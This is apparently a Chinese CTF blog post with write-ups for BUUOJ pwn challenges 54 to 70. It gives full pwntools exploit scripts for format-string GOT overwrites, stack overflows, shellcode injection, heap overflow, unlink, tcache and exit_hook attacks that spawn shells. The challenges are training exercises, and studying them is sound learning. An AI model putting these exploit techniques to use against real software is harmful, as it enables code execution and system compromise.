1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *from LibcSearcher import * context.log_level = 'debug' elf = ELF('./babyfengshui_33c3_2016' ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/libc-2.23.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_i386/ld-2.23.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})def Add (size, length, text ): p.sendlineafter("Action: " , '0' ) p.sendlineafter("description: " , str (size)) p.sendlineafter("name: " , 'qin' ) p.sendlineafter("length: " , str (length)) p.sendlineafter("text: " , text)def Del (index ): p.sendlineafter("Action: " , '1' ) p.sendlineafter("index: " , str (index))def Dis (index ): p.sendlineafter("Action: " , '2' ) p.sendlineafter("index: " , str (index))def Upd (index, length, text ): p.sendlineafter("Action: " , '3' ) p.sendlineafter("index: " , str (index)) p.sendlineafter("length: " , str (length)) p.sendlineafter("text: " , text) Add(0x80 , 0x80 , 'qin' ) Add(0x80 , 0x80 , 'qin' ) Add(0x8 , 0x8 , '/bin/sh\x00' ) Del(0 ) Add(0x100 ,0x19c ,"a" *0x198 +p32(elf.got['free' ])) gdb.attach(p) Dis(1 ) p.recvuntil("description: " ) free_addr = u32(p.recv(4 )) libc = LibcSearcher('free' , free_addr) libc_base = free_addr - libc.dump('free' ) sys_addr = libc_base + libc.dump('system' ) Upd(1 , 0x4 , p32(sys_addr)) Del(2 ) p.interactive()
五十四、axb_2019_fmt32 image-20210824223244646
惯例checksec,32位,开了NX
image-20210824225801805
IDA里面很明显的就是给了格式化字符串,题目也暗示了。但是由于程序内很干净,没有什么其他函数,那要getshell,就得先格式化字符串泄露出libc,再借用格式化字符串写到栈上,我想了一下,栈还要再泄露出栈地址,也可以实现(因为有个函数environ就是存了栈地址的),所以这边我转念想到劫持got表就不要这么麻烦,got地址又是直接已知的
image-20210824225741699
然后先计算偏移,这边可以看见,我是输入了4个a的,但是很明显是没有对齐的,所以之后写payload的时候,要先补齐一个字符,所以我们的偏移从第八个开始
然后这题是有限时的,所以我们利用%x$n的时候,分两次劫持,写成hn(如果hn也超时,那就hhn),这样输入更快捷。不然会timeout
image-20210825001757873
最后就是选择劫持strlen,刚开始是劫持printf的,但是可能是因为在之前有个地方已经调用了printf打印一句话导致出错,然后这边劫持的时候,要在/bin/sh前加上分号,因为我们输入的地方前面其实已经有一串字符串,所以要分隔开,才能识别出/bin/sh
image-20210825002000682
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from pwn import *from LibcSearcher import * p = remote("node4.buuoj.cn" ,27607 ) context.log_level = 'debug' elf = ELF("./axb_2019_fmt32" ) printf_got = elf.got["printf" ] strlen_got = elf.got["strlen" ] p.recvuntil("tell me:" ) payload = 'a' + p32(printf_got) + "xxxx" "%8$s" p.send(payload) p.recvuntil("xxxx" ) printf = u32(p.recv(4 ))print ('read-->' + hex (printf)) sys = printf - 0xe6e0 sys_high = (sys >> 16 ) & 0xFFFF sys_low = (sys) & 0xFFFF print ('sys-->' + hex (sys))print ('low-->' + hex (sys_low))print ('high-->' + hex (sys_high)) p.recvuntil("tell me:" ) payload = 'a' + p32(strlen_got) + p32(strlen_got+2 ) + '%' + str (sys_low - 18 ) + "c%8
hn" + '%' +str(sys_high - sys_low) +"c%9
hn" p.send(payload) p.recvuntil("tell me:" ) payload= ";/bin/sh\x00" p.send(payload) p.interactive()
五十五、bbys_tu_2016 image-20210826151052237
常规checksec一下,32位,开了NX
image-20210826151038100
进入IDA,发现有个后门函数,并且主函数十分简单,就给了个很明显的溢出,那就直接跳转到后门函数即可
image-20210826150923013
image-20210826151009378
image-20210826151024405
这边就是IDA里面的溢出不对,所以要去gdb里面动态调试计算偏移才行
image-20210826151210436
1 2 3 4 5 6 7 8 9 10 from pwn import *from LibcSearcher import * p = remote("node4.buuoj.cn" ,27835 ) context.log_level = 'debug' payload = 'a' *0x18 + p32(0x804856D ) p.sendline(payload) p.interactive()
五十六、pwnable_start image-20210826151445256
常规checksec,32位,什么保护都没开
image-20210826151616994
image-20210826151627593
进入IDA,只存在start,并没有main函数,只能看汇编
通过直接看汇编,或者进行gdb调试,都能获得输入点距离返回地址长度为0x14
image-20210826165108914
在gdb里面可以发现,当执行到ret,esp指向的地方存着一个栈上的地址,所以可以据此,我们先跳转到wirte函数,把esp指向的地方输出出来,从而获得栈上地址。
然后,因为跳转程序,同样会再次执行read,此时我们输入的栈地址比我们泄露的栈地址刚好少4个字节,因为最后都会执行到add esp,0x14,所以偏移仍然是0x14,再解释下为什么esp距离我们写入的/bin/sh\x00会差0x18,是因为执行ret时,会执行pop,所以会多4个字节
image-20210826173800838
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from pwn import *from LibcSearcher import * p = remote("node4.buuoj.cn" ,26799 ) p.recvuntil("CTF:" ) shellcode = 'a' *0x14 + p32(0x08048087 ) p.send(shellcode) addr = u32(p.recv(4 )) log.success(hex (addr)) shellcode = "/bin/sh\x00" + 'a' *(0x14 -8 ) +p32(addr+0x14 ) shellcode += asm("lea ebx,[esp-0x18]" ) shellcode += asm("mov eax,0xb" ) shellcode += asm("xor ecx,ecx" ) shellcode += asm("xor edx,edx" ) shellcode += asm("int 0x80" ) p.send(shellcode) p.interactive()
五十七、picoctf_2018_echo_back image-20210826182247503
常规checksec一下,32位,开了NX、Canary
image-20210826182506261
进入IDA,很明显的格式化字符串,跟这篇文章的第五题比较相似。但是少了循环,多了system函数调用,所以我们在劫持got表时需要让程序能再执行一次vuln函数,让我们能输入/bin/sh\x00,不需要泄露libc基址
因为后面有执行puts函数,那可以把puts的got表修改为vuln函数的起始地址
image-20210826191303201
偏移是7
image-20210826184836372
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import * p = remote("node4.buuoj.cn" ,27830 ) context.log_level = 'debug' printf_got = 0x0804A010 sys_plt = 0x08048460 puts_got = 0x0804A01C vuln = 0x080485AB p.recvuntil("message:" ) payload = p32(printf_got+2 ) + p32(puts_got+2 ) + p32(printf_got) + p32(puts_got) payload += '%' + str (0x804 -0x10 ) + "c%7$hn" payload += "%8$hn" payload += '%' + str (0x8460 -0x804 ) + "c%9$hn" payload += '%' + str (0x85AB -0x8460 ) + "c%10$hn" p.send(payload) p.recvuntil("message:" ) p.send("/bin/sh\x00" ) p.interactive()
五十八、ciscn_2019_sw_1 image-20210826194736365
常规checksec,32位,开了NX
image-20210826194146179
进入IDA,这题也是一道格式化字符串,而且仔细看,跟第八题几乎一样,并且也是存在调用了system函数,不需要泄露
image-20210826195039322
偏移为4
这边因为printf后续也没别的函数,所以要让程序再执行一次就要去找在printf之后,程序还调用了什么东西,然后去把这个修改为main函数地址
linux中在程序结束的时候,依次调用fini.array
中的每一个函数指针。所以这边把fini.array中的函数指针改写为main函数地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import * p = remote("node4.buuoj.cn" ,27862 ) context.log_level = 'debug' printf_got = 0x0804989C system_plt = 0x080483D0 fini = 0x0804979C main = 0x8048534 p.recvuntil("name?" ) payload = p32(printf_got+2 ) + p32(fini+2 ) + p32(printf_got) + p32(fini) payload += '%' + str (0x804 -0x10 ) + "c%4$hn" payload += "%5$hn" payload += '%' + str (0x83D0 -0x804 ) + "c%6$hn" payload += '%' + str (0x8534 -0x83D0 ) + "c%7$hn" p.sendline(payload) p.recvuntil("name?" ) p.sendline("/bin/sh\x00" ) p.interactive()
五十九、cmcc_pwnme2 image-20210827143550209
常规checksec,32位,开启NX
image-20210827145058312
进入IDA,程序存在明显溢出,然后存在这个后门函数可以打印flag,也就是我们只需要让string里面放着的是flag即可跳转到这获得flag。
所以先溢出到返回地址,在返回地址填上输入函数gets,往string里面写入flag
image-20210827145907550
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import * p = remote("node4.buuoj.cn" ,26117 ) context.log_level = 'debug' elf = ELF('./pwnme2' ) string = 0x0804A060 gets = elf.plt['gets' ] payload = 'a' *0x70 + p32(gets) + p32(0x080485CB ) + p32(string) p.recvuntil("input:" ) p.sendline(payload) p.sendline("./flag" ) p.interactive()
六十、hitcontraining_magicheap image-20210827153019146
常规checksec,64位,根据题目是道堆题,开了NX、Canary
image-20210827153850520
进入IDA,发现给了个后门函数,好东西
image-20210827155315034
这边如果magic >4869就可以执行到后门函数
image-20210827155753245
漏洞点可以说是十分明显了,这边edit函数里面输入的长度都没有检查的
思路:通过堆溢出,覆盖后面堆块,把堆块申请到magic前面,把magic的值修改成大于4869
image-20210827161445791
成功getshell
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 from pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF("./magicheap" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path}) p = remote("node4.buuoj.cn" ,29052 )def debug (): gdb.attach(p,"b main" )def add (size,content ): p.sendlineafter("Your choice :" ,"1" ) p.recvuntil("Size of Heap :" ) p.sendline(str (size)) p.recvuntil("Content of heap:" ) p.send(content) def edit (idx,content ): p.sendlineafter("Your choice :" ,"2" ) p.recvuntil("Index :" ) p.sendline(str (idx)) p.recvuntil("Size of Heap : " ) p.sendline(str (len (content))) p.recvuntil("Content of heap : " ) p.send(content)def free (idx ): p.sendlineafter("Your choice :" ,"3" ) p.recvuntil("Index :" ) p.sendline(str (idx)) shell = 0x0000000000400C50 magic = 0x00000000006020A0 add(0x60 ,'aaaa' ) add(0x60 ,'bbbb' ) add(0x60 ,'cccc' ) free(1 ) payload = 'a' *0x68 + p64(0x70 ) + p64(magic-0x20 +0xd ) edit(0 ,payload) add(0x60 ,p64(4870 )) add(0x60 ,p8(0 )*3 + p64(4870 )) p.sendlineafter("Your choice :" ,"4869" ) p.interactive()
六十一、hitcontraining_heapcreator image-20210829092850758
常规checksec,开了NX、Cannary
image-20210829094339915
进入IDA,阅读完代码后,在edit函数中,存在明显的溢出一个字节的漏洞(offbyone)
因为有offbyone漏洞在,那肯定是朝着去修改堆头的大小去的,最终达成overlap
image-20210829104050093
先申请出这些堆块,其中第一个是要申请0x18的,因为这样才能覆盖到下一个堆块的size位。然后因为RELRO和PIE的缘故,我选择劫持got表的方法,所以第四个堆块内容就是写着/bin/sh\x00的。当然,也可以把/bin/sh\x00写到第0个堆块上
image-20210829104713815
此时只要再把这个释放了,然后再申请同样大小的堆块回来,那么我们就可以操控其中本来是第二堆块的内容
然后把可以操控的堆结构内容修改为free的got表地址,从而可以利用show函数打印出libc地址。最后再写入sys即可getshell
image-20210829110519523
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from pwn import *from LibcSearcher import LibcSearcher context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF("./heapcreator" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path}) p = remote("node4.buuoj.cn" ,26372 )def debug (): gdb.attach(p,"b main" )def add (size,content ): p.sendlineafter("Your choice :" ,"1" ) p.recvuntil("Size of Heap : " ) p.sendline(str (size)) p.recvuntil("Content of heap:" ) p.send(content) def edit (idx,content ): p.sendlineafter("Your choice :" ,"2" ) p.recvuntil("Index :" ) p.sendline(str (idx)) p.recvuntil("Content of heap : " ) p.send(content)def show (idx ): p.sendlineafter("Your choice :" ,"3" ) p.recvuntil("Index :" ) p.sendline(str (idx))def free (idx ): p.sendlineafter("Your choice :" ,"4" ) p.recvuntil("Index :" ) p.sendline(str (idx)) free_got = elf.got["free" ] add(0x18 ,'a' ) add(0x10 ,'b' ) add(0x10 ,'c' ) add(0x10 ,"/bin/sh\x00" ) edit(0 ,'a' *0x18 +'\x81' ) free(1 ) add(0x70 ,'a' *0x40 + p64(0x8 ) + p64(free_got)) show(2 ) p.recvuntil("Content : " ) free = u64(p.recv(6 ).ljust(8 ,'\x00' )) log.success(hex (free)) libc=LibcSearcher("free" ,free) sys=libc.dump("system" )+free-libc.dump("free" ) edit(2 ,p64(sys)) free(3 ) p.interactive()
六十二、sctf_2019_one_heap image-20210830160009616
checksec一下,64位,保护全开
image-20210830163315917
进入IDA,堆的菜单只有两种功能,申请和释放
image-20210830163404930
申请的堆块不能大于0x7f,并且申请和释放都有次数限制(其中能申请0xf次,释放4次)。而且,堆块我们只能访问到当前申请出的堆块
image-20210830163542538
释放堆块时,指针没有置0
image-20210830185924091
image-20210830200649131
image-20210830201741615
连续释放两次大小为0x70的堆块,进入到tcache bin 中,然后根据一个字节未知进行爆破,使得堆块分配tcache_perthread_struct(就是开头0x250的那个堆块)上
image-20210830203528418
把数值改为7,然后再把这个堆块释放,将会进入到unsorted bin中
image-20210830210232915
image-20210830210216419
fd,bk已经指向了libc中某个地址了,所以后面还是爆破一个字节,去让stdout吐出libc地址。然后因为tcache结构被改动很大,要先修复一下
后面其实就没有什么了,就是申请出堆块,因为我们把tcache_perthread_struct释放了,所以申请出的堆块都在上面,那么可以通过这个来填写出目标地址,然后就会进入到tcache bin中,接着再申请就能任意地址写。这边还要注意的就是还要用realloc调整一下rsp
然后这边说下,不知道是不是运气问题,爆破上千次都没打通
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 from pwn import * elf = ELF("./sctf_2019_one_heap" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/libc-2.27.so" ) libc = ELF("./libc-2.27.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.27-3ubuntu1.2_amd64/ld-2.27.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path})def debug (): gdb.attach(p,"b main" )def add (size,content ): p.sendlineafter("Your choice:" ,"1" ) p.recvuntil("Input the size:" ) p.sendline(str (size)) p.recvuntil("Input the content:" ) p.sendline(content) def free (): p.sendlineafter("Your choice:" ,"2" )''' 0x4f2c5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f322 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a38c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' def pwn (first,second ): add(0x70 ,'a' ) free() free() add(0x70 ,p16((first << 8 ) | 0x10 )) add(0x70 ,p8(0x10 )) add(0x70 ,p64(0 ) * 4 + p64(0x07000000 )) free() add(0x40 , p64(0 ) * 5 ) add(0x10 ,p64(0 ) + p16((second << 8 ) | 0x60 )) add(0x40 ,p64(0xfbad1800 ) + p64(0 ) * 3 + '\x00' ) p.recv(8 ) leak_addr = u64(p.recvuntil('\x7f' ).ljust(8 ,'\x00' )) log.success("leak_addr==>0x%x" %leak_addr) libc_base = leak_addr - 0x3ed8b0 ogg = libc_base + 0x10a38c realloc_hook = libc_base + libc.sym["__realloc_hook" ] realloc = libc_base + libc.sym["realloc" ] log.success("realloc==>0x%x" %realloc) log.success("one_gadget==>0x%x" %ogg) add(0x10 ,p64(0 ) + p64(realloc_hook)) add(0x40 ,p64(ogg) + p64(realloc + 0x4 )) add(0x10 ) try : p.sendline("id" ) p.recvline_contains("uid" , timeout=2 ) p.sendline("cat flag" ) p.interactive() except : try : p.close() except : pass if __name__ == "__main__" : n = 0x1000 while n > 0 : log.success("counts: {}" .format (0x1000 - n)) try : pwn(0x60 ,0x67 ) except : pass p = remote("node4.buuoj.cn" ,28247 ) n -= 1
六十三、warmup image-20210831104431370
常规checksec一下,32位,只开了NX
进入IDA,发现函数很少,而且都是调用系统调用号执行函数的。所以肯定是要执行到0xB的execve函数来getshell
image-20210831104803643
首先,要先制造出/bin/sh\x00才行,所以先跳转到read上去,往.bss段上写/bin/sh\x00。仔细看,这边传递的read的参数,都是来自于栈上的,而且都是esp前面的地址存的值,所以其实我们就是按照平常的写法,返回地址覆盖为这里的地址,然后再写一个新的返回地址,后面跟上read的三个参数payload = 'a'*0x20+p32(read)+p32(start)+p32(0)+p32(bss)+p32(8)
然后返回到最初再次执行,因为执行完函数的返回值是存在eax中的,所以为了达成0xb,第二次执行read函数时,要输入0xb个数据,因为execve(/bin/sh,0,0),所以我们第二次的返回地址要直接返回到read函数传参(此时eax已经是0xb了,不能再执行0x804811D,不然eax的值将会被修改),因为执行完ret后,esp会加4,移动到我们溢出的p32(0),然后传参才会把/bin/sh地址传入到ebx中,而0x8048212这个地址,在于这个地址上的值必须是0,满足这个要求即可,这样才能满足后续传入的是两个0
image-20210831104312190
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import * p = process("./warmup" ) bss = 0x80491bc start = 0x080480D8 read = 0x0804811D gdb.attach(p) p.recvuntil('2016!' ) payload='a' *0x20 +p32(read)+p32(start)+p32(0 )+p32(bss)+p32(8 ) p.send(payload) p.send('/bin/sh\x00' ) payload='a' *0x20 +p32(read)+p32(0x08048122 )+p32(0 )+p32(bss)+p32(0x8048212 ) p.send(payload) p.send('/bin/sh\x00' + 'a' * 3 ) p.interactive()
六十四、hitcontraining_unlink image-20210831153526197
常规checksec一下,64位,开了NX,Canary
image-20210831154605863
进入IDA,四个菜单功能都具备,同时还找到个后门函数,但是看路径,应该是用不了的,buu的flag就在根目录下的
image-20210831155631822
漏洞点在于修改函数里面,对于修改的size没有检查,存在堆溢出
由于在输入后会加0截断,并且没开PIE,堆指针简单可寻,所以这题用unlink做。目标是劫持atoi的got,
image-20210831202645476
这里是触发了unlink,下一个大小为0x80的堆块与我们伪造的大小为0x40的堆块合并放入unsorted bin 中
image-20210831203042925
image-20210831203937694
同时,指向chunk0的指针保存的地址换为了ptr - 0x18的值,所以,此时可以认为chunk0变成是在ptr - 0x18的地方了。所以此时再把堆指针改为函数got表地址,从而泄露libc地址
而刚好,此时又是atoi的got表地址,所以直接继续往里面写入system的地址即可,最后再输入/bin/sh\x00即可
image-20210831204445381
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF("./1" ) libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc-2.23.so" ) libc = ELF("./libc-2.23.so" ) ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/ld-2.23.so" ) p = process(argv=[ld.path,elf.path],env={"LD_PRELOAD" : libc.path}) p = remote("node4.buuoj.cn" ,25062 )def debug (): gdb.attach(p,"b main" )def add (size,content ): p.sendlineafter("Your choice:" ,"2" ) p.recvuntil("length of item name:" ) p.sendline(str (size)) p.recvuntil("the name of item:" ) p.send(content) def edit (idx,content ): p.sendlineafter("Your choice:" ,"3" ) p.recvuntil("index of item:" ) p.sendline(str (idx)) p.recvuntil("length of item name:" ) p.sendline(str (len (content))) p.recvuntil("the new name of the item:" ) p.send(content)def show (): p.sendlineafter("Your choice:" ,"1" )def free (idx ): p.sendlineafter("Your choice:" ,"4" ) p.recvuntil("the index of item:" ) p.sendline(str (idx)) atoi_got = elf.got['atoi' ] ptr = 0x00000000006020C8 add(0x40 ,'a' ) add(0x80 ,'b' ) add(0x80 ,'c' ) fake_chunk = p64(0 ) + p64(0x41 ) fake_chunk += p64(ptr - 0x18 ) + p64(ptr - 0x10 ) fake_chunk += 'a' * 0x20 + p64(0x40 ) + p64(0x90 ) edit(0 ,fake_chunk) free(1 ) payload = p64(0 ) * 2 + p64(0x40 ) + p64(atoi_got) edit(0 ,payload) show() p.recvuntil('0 : ' ) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' )) - libc.sym['atoi' ] log.success(hex (libc_base)) system = libc_base + libc.sym['system' ] log.success(hex (system)) edit(0 ,p64(system)) p.sendlineafter("Your choice:" ,"/bin/sh\x00" ) p.interactive()
六十五、wustctf2020_closed 这题比较有意思,记录一下,考的是linux的基础知识
image-20210902152712612
进入IDA,程序十分简单,甚至主函数已经运行了system(“/bin/sh”)了,但是注意这边执行了close(1)以及close(2)。这代表什么?代表关闭了linux里面的标准输出(1)和标准错误(2),所以即使已经getshell了,但是我们是看不到输出的,所以这时候输入exec 1>&0
就可以让标准输出的文件描述符重定向为0,而0没被关闭,才能看到输出
image-20210902152420434
image-20210902152447680
六十六、ciscn_2019_n_7 image-20210904105152457
常规checksec一下,64位,保护全开
image-20210904111520818
进入IDA,分析程序,首先程序不存在释放功能,并且堆块只能生成一次,这直接断绝了劫持hook指针的做法
image-20210904111633970
image-20210904111749218
在add,edit函数中,我们可以直接修改程序中的堆块指针,也就是说,我们拥有了任意写的能力
image-20210904111836132
其次在输入666后,程序会打印出puts的地址,也就是也拥有了libc地址,似乎一切都具备了?就差一个可以让我们直接写入one_gadget的地方。写在哪?这里介绍一个新的hook,exit_hook,在执行exit函数时,会执行到两个函数,分别是_dl_rtld_lock_recursive
和_dl_rtld_unlock_recursive
,其中一个劫持为one_gadget都行,并且这两个的偏移是固定的值
libc-2.23.so:
rtld_lock = libc_base + 0x5F0F48
rtld_unlock = libc_base + 0x5F0F50
image-20210904113624683
刚好很巧,这边执行到exit时,也是把文件描述符1和2关闭了,看不见输出,所以跟上题一样的处理方式,exec 1>&0
才能看到交互
image-20210904113504655
成功getshell
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from pwn import * context(arch = 'amd64' ,os = 'linux' ,log_level = 'debug' ) elf = ELF("./ciscn_2019_n_7" ) libc = ELF("./libc-2.23.so" ) p = remote("node4.buuoj.cn" ,28496 )def debug (): gdb.attach(p,"b main" )def add (size,content ): p.sendlineafter("Your choice->" ,"1" ) p.recvuntil("Input string Length:" ) p.sendline(str (size)) p.recvuntil("name:" ) p.send(content) def edit (name,content ): p.sendlineafter("Your choice->" ,"2" ) p.recvuntil("New Author name:" ) p.send(name) p.recvuntil("contents:" ) p.send(content)def show (): p.sendlineafter("Your choice->" ,"3" )def exit (): p.sendlineafter("Your choice->" ,"4" )''' 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xf02a4 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL 0xf1147 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL ''' p.sendlineafter("Your choice->" ,"666" ) p.recvuntil("0x" ) libc_base = int (p.recv(12 ),16 ) - libc.sym['puts' ] log.success("libc_base==>0x%x" %libc_base) ogg = libc_base + 0xf1147 rtld_lock = libc_base + 0x5F0F48 add(0x60 ,p64(rtld_lock) * 2 ) edit(p64(rtld_lock) * 2 ,p64(ogg)) exit() p.sendline("exec 1>&0" ) p.sendline("ls" ) p.interactive()
六十八、ciscn_2019_es_4 image-20210904121810292
checksec一下,64位,PIE没开
image-20210904221627524
image-20210904221644339
image-20210904221657542
首先漏洞点存在edit函数里面,offbynull,其次edit和show函数,都存在验证次数问题,并且验证的值保存在.bss上,没开PIE,也就是说,应该是unlink的题,把chunk改到.bss上,然后修改key值。然后版本是libc-2.27.so,存在tcache,所以在假chunk底下那个chunk要释放七个相同大小去填充tcache bin
image-20210904230122725
unlink成功,把chunk的指针设为.bss上的值
image-20210904231117920
image-20210904231321497
通过unlink设置的指针,把前面两个修改为同一个堆地址,借此造成double free,然后把堆块分配到key上,修改key值,让show功能恢复使用,然后通过show功能泄露libc地址。然后再次使用unlink设置好的指针,把前面的堆块指针改为指向free_hook,然后通过edit函数,往里面写入system函数,之后free一个写有/bin/sh的堆块即可
image-20210904234122710
然后,远程打时,堆块地址是只有图中那么长的,要注意一下。然后就是我们最后往free_hook写入system的那个堆块,必须要在这之前是被申请出来的,具体原因我也不知道为什么,我做的时候一直卡在这最后一步,没想通,然后是对照别人wp才改了这个点,然后通了
image-20210905095712141
getshell!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from pwn import * elf = ELF("./ciscn_2019_es_4" ) libc = ELF("./libc-2.27.so" ) p = remote("node4.buuoj.cn" ,29483 )def debug (): gdb.attach(p,"b main" )def add (idx,size,content ): p.sendlineafter("4.show\n" ,'1' ) p.recvuntil("index:\n" ) p.sendline(str (idx)) p.recvuntil("size:\n" ) p.sendline(str (size)) p.recvuntil("gift: " ) addr = int (p.recv(7 ),16 ) p.recvuntil("content:\n" ) p.send(content) return addr def edit (idx,content ): p.sendlineafter("4.show\n" ,'3' ) p.recvuntil("index:\n" ) p.sendline(str (idx)) p.recvuntil("content:\n" ) p.send(content)def show (idx ): p.sendlineafter("4.show\n" ,'4' ) p.recvuntil("index:\n" ) p.sendline(str (idx))def free (idx ): p.sendlineafter("4.show\n" ,'2' ) p.recvuntil("index:\n" ) p.sendline(str (idx)) ptr = 0x602118 key = 0x00000000006022B8 free_got = elf.got['free' ]for i in range (7 ): add(i,0xf0 ,'\x07' * 0xf0 ) heap_addr = add(7 ,0x88 ,'a' ) log,success("heap_addr==>0x%x" %heap_addr) add(8 , 0xf0 , "b" ) add(9 , 0x80 , "c" ) add(10 , 0x80 , "/bin/sh\x00" )for i in range (7 ): free(i) fake_chunk = p64(0 ) + p64(0x81 ) fake_chunk += p64(ptr - 0x18 ) + p64(ptr - 0x10 ) fake_chunk += 'a' * 0x60 + p64(0x80 ) edit(7 ,fake_chunk) free(8 ) payload = p64(heap_addr + 0x190 ) * 2 + p64(free_got) + p64(ptr - 0x18 ) edit(7 ,payload) free(4 ) free(5 ) add(0 ,0x80 ,p64(key)) add(1 ,0x80 ,'a' ) add(5 ,0x80 ,p32(5 ) + p32(5 )) show(6 ) libc_base = u64(p.recv(6 ).ljust(8 ,'\x00' )) - libc.sym['free' ] log.success("libc_base==>0x%x" %libc_base) free_hook = libc_base + libc.sym['__free_hook' ] system = libc_base + libc.sym['system' ] payload = p64(free_hook) * 3 + p64(ptr - 0x18 ) edit(7 ,payload) edit(5 ,p64(system)) free(10 ) p.interactive()
六十九、lctf2016_pwn200 image-20210905105020439
常规checksec一下,64位,保护几乎都没开启
image-20210905105059956
进入IDA,进入的第一个函数就存在问题,这边最长输入0x30的字符,但是v2距离rbp的距离也是0x30,所以可以借此打印出rbp的值,得到栈上地址,那么应该就是ret2shellcode了
image-20210905105342837
image-20210905105242460
再往下看,这边存在任意地址写
image-20210905110435529
image-20210905110553881
计算一下偏移
然后通过任意地址写往free@got表里写入前面算好的shellcode的地址,再执行到后面程序中的free函数,然后跳转到写好的shellcode执行
image-20210905112409521
getshell!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import * p = remote('node4.buuoj.cn' ,25517 ) elf = ELF('./pwn200' ) context(log_level='debug' ,arch='amd64' ,os='linux' ) free_got = elf.got['free' ] p.recvuntil("who are u?\n" ) shellcode = asm(shellcraft.sh()) p.send(shellcode.ljust(0x30 ,'a' )) leak_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) - 80 log.info(hex (leak_addr)) p.recvuntil("give me your id ~~?" ) p.sendline('3' ) p.recvuntil("give me money~\n" ) payload = p64(leak_addr) + 'a' * 0x30 + p64(free_got) p.send(payload) p.recvuntil('choice :' ) p.sendline('2' ) p.interactive()
七十、pwnable_simple_login image-20210910105207938
常规checksec,开了NX、Canary。但是到IDA里面发现,没看到Canary的踪迹
image-20210910105257032
IDA里面有后门函数
image-20210910105318680
base64解码函数里面有些复杂,看的很难受,但是我们可以通过程序逻辑进行判断,返回的应该是长度,因为底下进行了比大小;而s是我们输入的值没什么好说,就是要输入一个base64的值让他再解码成正常值;v5则应该是解码后的值,因为底下把v5的值写入了input里面。但是如果是要以程序逻辑执行到后门函数的话,我也不知道行不行,反正我是不会的。想的肯定是有没有哪里有溢出,跳到后门函数就行了。
image-20210910105421986
